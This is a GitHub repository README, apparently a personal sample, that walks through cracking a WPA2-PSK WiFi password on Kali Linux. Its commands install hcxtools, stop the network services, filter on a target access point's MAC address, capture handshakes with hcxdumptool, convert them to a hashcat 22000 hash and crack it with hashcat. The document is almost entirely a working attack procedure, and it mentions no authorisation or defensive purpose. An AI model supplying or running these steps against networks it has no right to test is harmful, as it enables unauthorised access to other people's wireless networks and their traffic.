Skip to content

kemuriame4/crack

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

A sample to crack the WiFi password with WPA2-PSK on Kali Linux

1. Update and upgrade the system

sudo apt-get update && sudo apt-get upgrade

2. Install hcxtools

sudo apt-get install hcxtools

3. Stop the network manager service

sudo systemctl stop NetworkManager.service
sudo systemctl stop wpa_supplicant.service

4. Create the bpf filter

sudo hcxdumptool --bpfc="wlan addr1 112233445566" >> attack.bpf

Replace 112233445566 with the MAC address of the target AP you want to crack.

sudo hcxdumptool --bpfc="not wlan addr3 112233445566" >> protect.bpf

Replace 112233445566 with the MAC address of the target AP you want to protect.

5. Sniff the network traffic

sudo hcxdumptool -i interface -w capture.pcapng --bpf=attack.bpf

Replace interface with the name of the wireless interface you are using.

Then, patiently wait for the network traffic to be captured as points R 1 3 P S have + marks.

6. Reopen the network manager service

sudo systemctl start NetworkManager.service
sudo systemctl start wpa_supplicant.service

This step is unnecessary as the network manager service will be restarted automatically after system startup.

7. Crack the password

1. Transform the captured network traffic to a hash file

sudo hcxpcaptool -o hash.hc22000 capture.pcapng

2. Start the hashcat tool

hashcat -m 22000 hash.hc22000

check the hashcat documentation https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2#attack_examples for the specific options to use.

As hashcat can run on multi-platform, you can speed up the process by using the GPU drivers of your graphics card.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published